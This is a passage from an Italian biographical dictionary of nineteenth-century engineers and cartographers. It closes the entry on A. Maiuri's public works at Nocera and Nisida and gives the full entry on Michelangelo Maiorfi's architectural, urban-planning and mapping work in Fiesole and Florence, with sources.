osservazioni che appena tre anni prima aveva elaborato il direttore generale de Rivera in un’opera data alle stampe, riprendendone vari temi, e, anzi, sostenendo appieno le considerazioni dell’esponente apicale della Direzione Generale» (FOSCARI, 2006, p. 932).
Dopo questa pubblicazione la carriera del Maiuri conosce una svolta. Nel 1840 i torrenti Cavaiola e Solofrana, «che avevano causato un susseguirsi di pericolose alluvioni soprattutto tra i casali di Nocera, con notevoli rischio per gli abitati e la popolazione […] a seguito delle abbondanti piogge cadute nel dicembre del 1840 […] erano nuovamente straripati trascinando materiale vario ed ostruendo il deflusso delle acque. [Il[ Maiuri, dopo aver partecipato in maniera attiva alle operazioni, fu nominato direttore dei lavori di espurgo dell’alveo dei torrenti in questione» e questo lavoro lo avrebbe tenuto impegnato almeno fino al 1849, mettendone in luce la perizia e l’accuratezza, «per l’ottima tenuta dei rapporti tra Direzione Generale di Ponti Strade, di cui era parte, e le altre istituzioni competenti e per l’oculatezza nella contabilità» (FOSCARI, 2006, p. 933).
Intanto, per l’importanza economico-strategica attribuita al molo di Pozzuoli e la necessità di realizzarvi il nuovo lazzaretto, dopo una lunga sospensione dei lavori causata dai continui crolli delle nuove costruzioni, nel 1852, dopo la morte del de Rivera, all’esperto Maiuri viene affidato «il definitivo intervento sullo scalo, nonché la progettazione del nuovo lazzaretto […]» (BUCCARO, 1992, p. 56). A causa dei molteplici problemi incontrati e delle fallimentari soluzioni escogitate dal Lauria e dal Giordano per rimediare ai danni procurati dal mare alle nuove opere, il Maiuri denuncia la cattiva interpretazione dell’idea iniziale del de Fazio da parte dei due ingegneri. Tuttavia, pur seguitando a difendere l’operato del de Fazio, il Maiuri, di fatto, ne abbandona l’impianto progettuale (sperimentalmente ispirato alla tecnica dei “moli a trafori”, mutuata dagli antichi Romani), avendone ormai saggiato l’inadeguatezza. I moli del porto di Nisida mostrano ancora oggi la conformazione data loro dal Maiuri «e testimoniano della funzionalità espressa dallo scalo in epoca post-unitaria, allorché fu considerato una diretta propaggine del porto di Napoli» (BUCCARO, 1992, p. 56).
Per quanto riguarda l’impostazione ideologica del Maiuri, si deve rilevare la sua totale sintonia con le convinzioni e le linee guida del suo superiore de Rivera, di cui condivide pienamente la visione dirigista, l’impostazione sistematica nonché i criteri meritocratici nella severa selezione e nella formazione degli ingegneri ammessi alla Scuola di Applicazione, destinati a operare nel campo delle opere pubbliche. La sintonia è talmente perfetta che si potrebbe addirittura affermare che «analizzare [il] Maiuri significa approfondire la coscienza su[l] de Rivera, vero ispiratore della politica di investimento statale nel settore dei lavori pubblici e nel complesso quanto fondamentale sistema delle acque e dei boschi del Regno» (FOSCARI, 2006, p. 934).
Il Maiuri però va ancora oltre, dimostrando di possedere maggiore ampiezza di vedute e prospettive. Ne è un esempio la sua opera del ’36, dove il Nostro intende fornire una interpretazione “concettuale” dei problemi legati alla realizzazione delle opere pubbliche, dimostrando un’acuta consapevolezza della loro importanza per la credibilità dello Stato, nonché delle origini storiche delle questioni cruciali legate ai lavori pubblici nel Regno delle Due Sicilie. Ad ampliare la prospettiva dell’opera concorrono i molteplici esempi, le considerazioni, i raffronti e le comparazioni con realtà diverse (Francia, Inghilterra, Olanda e altri paesi europei), utili per ricavare «indicazioni tecniche e valutazioni sulle istituzioni e le loro modalità organizzative da poter estendere, nell’evenienza, al regno Napoletano» (FOSCARI, 2006, p. 934). A ciò si aggiungono le riflessioni sull’importanza fondamentale attribuita dal Maiuri alla formazione dei giovani e alla promozione meritocratica dei loro talenti e del loro impegno, per un sano e robusto sviluppo di un sistema liberale effettivo, fondato sulla valorizzazione dell’individuo e del suo operato nella collettività. Non contraddicono questi principi, anzi li sostengono e valorizzano, le fatiche poetiche sperimentate in gioventù, sia in italiano che in vernacolo.

Produzione di cartografia manoscritta:
- Progetto del nuovo lazzaretto di Nisida e di sistemazione del porto (1852) F.to: A. Maiuri
ASN (BUCCARO, P. 131).
- Progetto di un portico destinato ad accogliere animali e merci nel nuovo lazzaretto di Nisida (1855). F.to: A. Maiuri, F. Padula, A. Giustini
ASN (BUCCARO, p. 132).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
- ASN, Archivio Borbone I, b. 859, C. AFAN DE RIVERA, Libro de’ costumi e dell’abilità e condotta nel servizio degli ingegneri di Acque e Strade.
- ASS, Genio Civile, b. 1, fasc. 8.
- ASN, Ponti e Strade, 1a serie, fsc. 893, f.lo 13144, Memoria intorno alla costrutta di un gran Lazzaretto da innalzarsi a Miseno, a firma di de Fazio e Maiuri (31 maggio 1832).

Rimandi ad altre schede: Vedi schede di G. De Fazio e di Luigi Oberty.

Autore della scheda: Vincenzo Aversano

Maiorfi, Michelangelo

Michelangelo Maiorfi
N. S. Croce 12 febbraio 1823
M. Firenze 13 agosto 1906

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Dal 1863 ricoprì il ruolo di architetto-ingegnere e direttore dell'ufficio tecnico nel Comune di Fiesole, carica che manterrà per trent'anni, fino al 1893, con una breve parentesi nel 1865-66, allorché fu significativamente invitato dal Genio Civile Provinciale a collaborare ai grandiosi lavori di ampliamento di "Firenze Capitale" diretti da Giuseppe Poggi.
Nel suo lungo incarico fiesolano ebbe vari collaboratori ed aiutanti, sicuramente meno dotati del Maiorfi sul piano professionale, ma ugualmene molto attivi negli uffici comunitativi di Fiesole e dintorni, ai quali sono riferibili molte cartografie "parziali" e perizie tecniche. Fra questi possiamo citare, ad esempio: Loresindo Pruneti e Zanobi Zanobini (autore del Plantario del 1863-69). Negli anni precedenti, avevano operato nello stesso contesto territoriale gli agrimensori: Giovanni Galli, Giuseppe Faldi, Luigi Cianchi, Lorenzo Sguanci, Raffaello Paganelli e Anton Maria Gabbrielli.
Tra il 1870 e il 1876 venne eletto "Accademico" (prima "Corrispondente" e poi "Residente") del Collegio dei Professori della reale Accademia di Belle Arti di Firenze. Socio del Collegio degli Architetti e Ingegneri di Firenze, dal 1876 ne fu anche tesoriere e membro della commissione per la compilazione del Dizionario Tecnico.
Nella sua lunga carriera si occupò della progettazione e del restauro di numerosi edifici pubblici e privati fiorentini, nonché di innumerevoli interventi in campo urbanistico, stradale, idrologico, sempre corredati da precisi ed eleganti rilievi planimetrici e prospettici.
Tra le principali opere architettoniche del Maiorfi realizzate a Firenze si ricordano: il restauro del Palazzo Torrigiani e delle Case e Torre dei Gianfigliazzi (1850), il progetto del Palazzo della nuova Borsa e Commercio (1856-1860) sul Lungarno (in luogo degli antichi Tiratoi dell’Arte della Lana), redatto in collaborazione con l'architetto Emilio De Fabris; la palazzina d’angolo fra Piazza d’Azeglio e Via Giovan Battista Niccolini; il Cimitero della Misericordia a Soffiano (con la monumentale Cappella Torrigiani); il rinnovamento del Cimitero della Misericordia su Via degli Artisti; i restauri in Santa Croce (specialmente nella brunelleschiana Cappella dei Pazzi e in quella michelozziana del Noviziato).
Il Maiorfi si distinse anche come abile cartografo, producendo una ragguardevole e qualificata produzione geo-iconografica, in gran parte desunta dalle mappe catastali e quindi con linguaggio compiutamente geometrico, ma in genere con apprezzabili aggiornamenti e aggiunte originali (quasi tutta la produzione del Maiorfi, salvo diversa indicazione, è conservata in ASCFi).
Si potrebbe partire dalle carte topografiche d'insieme del territorio fiesolano, che egli realizzò tra il 1867 e il 1869 (vale a dire negli anni in cui servì come ingegnere comunale), alcune delle quali verranno in seguito anche stampate. Tali prodotti rispondevano chiaramente ad evidenti finalità di gestione del territorio nel quale il Maiorfi si trovava ad operare; i disegni si presentano accurati e precisi nel rendere le principali componenti paesistiche sia naturali che umane e riportano minuziose legende in cui si forniscono dati di ordine sia territoriale (strade, misure di suoli, presenza di opifici, cave, ecc.) e sia socio-demografico. Si ricordano: la Mappa Topografica del Territorio Comunale di Fiesole, del 1869 (in BNCF, Nuove Accessioni, VII, 20), poi stampata nel 1871 dalla Litografia fiorentina di Pineider e Smorti.
Allo stesso fine pratico di governo e gestione del territorio, risponde anche il bel "Plantario" geometrico catastale (formato da 55 mappe, con altre 16 disegni "parziali" relativi a strade bisognose "di sistemazione"), disegnato fra il 1864 e il 1869 dall’assistente Zanobini sotto la direzione del Maiorfi, che restituisce il quadro aggiornato della maglia stradale, idrografica ed insediativa fiesolana. Da notare che un precedente plantario delle strade era stato compilato, nel 1779, da Vittorio Gabbrielli, composto da 44 mappe (riunite in un Campione) relative a tutti i popoli fiesolani con la puntuale delineazione delle strade pubbliche.
Nel 1868 e 1869 il Maiorfi progettò i primi piani di espansione edilizia del comune di Fiesole (prevedendo numerosi lotti fabbricativi) che però non vennero realizzati. Del progetto fanno parte numerose cartografie di tipo urbanistico, ad esempio la Pianta Geometrica Catastale indicante i possessi appartenenti al Reverendo Capitolo di Fiesole (datata 1869).
Il piano fu riproposto dallo stesso ingegnere, con alcune varianti, nel 1873-74: si veda il disegno: Piano Regolatore di ampliamento per la costruzione di nuovi fabbricati in Fiesole (datato 1874); il Consiglio Comunale concesse la sua approvazione ma non fece altrettanto la Prefettura di Firenze che lo respinse. Erano gli anni dei grandiosi lavori per l'ingrandimento di Firenze capitale ed anche i Comuni limitrofi ne traevano benefìci in termini di aumento di risorse e popolazione. Finalmente, l'approvazione giunse nel 1875, allorché lo stesso Maiorfi ripresentò il Piano Regolatore per la costruzione di nuove fabbriche e strade in Fiesole.
Un altro episodio urbanistico-edilizio di una certa importanza, sempre ad opera del Maiorfi, fu la progettazione (con belle e accurate mappe), nel 1886-88, della nuova piazza per il mercato del bestiame, nella parte nord-ovest della piazza. A questo proposito si veda il disegno dal titolo Progetto per la costruzione della nuova strada dalla Cattedrale al Mercato e della nuova Piazza per il Mercato del Bestiame, datato 1886. Nel 1890 lo stesso ingegnere disegnò anche la fontana e le due rampe di scale (erette nel 1891) per salire dalla Piazza all'attuale Via Marini.
Altri interventi del Maiorfi furono dedicati all'adeguamento delle strutture di approvvigionamento idrico di Fiesole: nel 1863-64 e nel 1866-68 (questa volta con il Pruneti) disegnò l'acquedotto delle Caselle e, per il giorno dell'inaugurazione del condotto, il nostro ingegnere arrivò a progettare "una Fonte provvisoria da costruirsi in Piazza a Fiesole", nella forma di una struttura circolare del diametro di 8 metri, con un getto d'acqua zampillante che raggiungeva i 13 metri di altezza.
All'acquedotto di Fiesole aveva già lavorato nel 1831 l'ingegnere di Acque e Strade Pietro Carraresi, realizzando anche alcune mappe (anche queste sono in ASCFi).
Nel 1874, Maiorfi tornò ad occuparsi delle Caselle, con l'elaborazione di uno studio per applicare una pompa per il sollevamento dell'acqua nell'antica fonte Sotterra di Borgunto. Nel 1882 si occupò invece dell'allacciamento della sorgente della Doccia.
Altri lavori idraulici del Maiorfi furono, nel 1860, la ristrutturazione della gora dei mulini di Montereggi, sempre nell'area fiesolana; e, nel 1880, l’elaborazione di un progetto per la costruzione di una fontana nella neoprogettata piazza di Compiobbi (frazione fiesolana).
In campo architettonico, segnaliamo, a Fiesole, i numerosi progetti per la costruzione del nuovo macello (realizzò anche il progetto per quello di Sesto Fiorentino), tra il 1876 e il 1882; il riadattamento della ex manifattura della paglia o "Stabile Marchini" a Palazzo Comunale (progetto non attuato); l'ampliamento delle strutture cimiteriali del capoluogo e delle frazioni, in diversi progetti fra il 1867 e il 1880 (anche in collaborazione con Niccolò Niccolai e Romolo Vannozzi); la ristrutturazione delle scuole di Quintole (nel 1863); l'adeguamento dell'ex Palazzo Pretorio per adibirlo ad edificio scolastico (nel 1869).
L'impegno dell'operoso Maiorfi riguardò anche gli interventi alle strade e ai ponti, con la supervisione al già citato "Plantario" dello Zanobini tra il 1864 e il 1869, e con la progettazione di lavori di manutenzione e adeguamento di un po' tutta la viabilità comunitativa. Oltre che alle strade il Maiorfi dedicò attenzione anche ad alcuni manufatti presenti lungo i tracciati: nel 1863 si trovò infatti ad elaborare un Progetto di restauro al Tabernacolo detto di Maiano, oggetto di venerazione per le popolazioni rurali.
Si distingue dal genere rigorosamente geometrico e tecnico – anche se il disegno ebbe sicuramente un fine progettuale, come emerge dalle misure e dalle indicazioni che vi compaiono – la veduta acquerellata della Cava del Massaio sulla via del Fossataccio, che il Maiorfi delineò nel 1882.
Il Nostro si occupò in diverse occasioni anche del teatro romano (scoperto nel 1809-14):
nel 1875 lo rappresentò con un disegno planimetrico; nel 1878 progettò un cancello per il nuovo ingresso all'area archeologica esistente ancora oggi (si vedano le Piante e alzati relativi al progetto di un cancello per l'ingresso agli scavi archeologici) e, finalmente, dopo la ripresa degli scavi (avvenuta nel 1876), poté disegnare, nel 1895 (quando era ormai in pensione), la Raccolta dei disegni di tutti i monumenti ritrovati negli scavi a Fiesole: 11 tavole corredate di descrizioni, che sarebbero poi state pubblicate nel 1914.
Sempre nel 1895 elaborò una nuova rappresentazione d'insieme del centro fiesolano: la Pianta Geometrica catastale dell'abitato di Fiesole.
Sappiamo che il Maiorfi lavorò anche come architetto per l'Opera fiorentina di S. Croce, ma non se ne conoscono i dettagli.

Produzione scientifica:

Produzione di cartografia manoscritta:
Mappa Topografica del Territorio Comunale di Fiesole, 1869 (BNCF, Nuove Accessioni, VII, 20), stampata nel 1871 dalla Litografia fiorentina di Pineider e Smorti;
Pianta Geometrica catastale dell'abitato di Fiesole, 1895.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Cresti e Zangheri, 1978, pp. 134-135; Rombai, a cura di, 1990, passim; Rombai e Torchia, 1994, p. 150; Bertocci, 1998; BNCF, Nuove Accessioni; ASCFi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci